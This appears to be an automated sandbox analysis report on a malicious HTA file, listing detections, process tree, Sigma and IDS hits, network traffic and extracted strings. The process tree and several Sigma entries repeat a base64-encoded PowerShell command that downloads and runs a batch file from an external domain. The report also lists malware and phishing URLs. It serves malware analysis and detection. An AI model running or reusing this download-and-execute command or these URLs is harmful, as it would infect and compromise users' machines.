Edit tour

Windows Analysis Report
c1.hta

Overview

General Information

Sample name:	c1.hta
Analysis ID:	1589374
MD5:	ecfb39d00afa505fb6af958241ff5e35
SHA1:	7425bc879cf05b14248e6cd60186a39423c35a7e
SHA256:	a70bc984039d77fc9e208f2daf97d2578032388ceee67fccf1da27d81d8ecfba
Tags:	htauser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious sample

Encrypted powershell cmdline option found

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious MSHTA Child Process

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7036 cmdline: mshta.exe "C:\Users\user\Desktop\c1.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 4456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c1.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7036, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCom

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c1.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7036, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCom

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c1.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7036, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCom

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c1.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7036, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCom

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-12T03:44:00.404366+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49732	193.26.115.39	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://myguyapp.com/W2.pdf	Avira URL Cloud: Label: phishing
Source: https://candwfarmsllc.com/c2.bat	Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.4% probability

Source: unknown

HTTPS traffic detected: 193.26.115.39:443 -> 192.168.2.4:49732 version: TLS 1.2

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1697987815.0000000007330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb35 source: powershell.exe, 00000002.00000002.1692460434.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1697987815.0000000007330000.00000004.00000020.00020000.00000000.sdmp

Source: Joe Sandbox View

IP Address: 193.26.115.39 193.26.115.39

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49732 -> 193.26.115.39:443

Source: global traffic

HTTP traffic detected: GET /c2.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: candwfarmsllc.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /c2.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: candwfarmsllc.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: candwfarmsllc.com

Source: powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://candwfarmsllc.com
Source: powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.1692750838.0000000004D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://candwfarmsllc.com
Source: powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1692750838.0000000004DBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://candwfarmsllc.com/c2.bat
Source: powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://candwfarmsllc.com/c2.bat=
Source: powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://candwfarmsllc.com/c2.bat=https://candwfarmsllc.com/c2.bat
Source: powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1692750838.00000000050D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.1692750838.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myguyapp.com/W2.pdf
Source: powershell.exe, 00000002.00000002.1692750838.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myguyapp.com/msword.zip
Source: powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
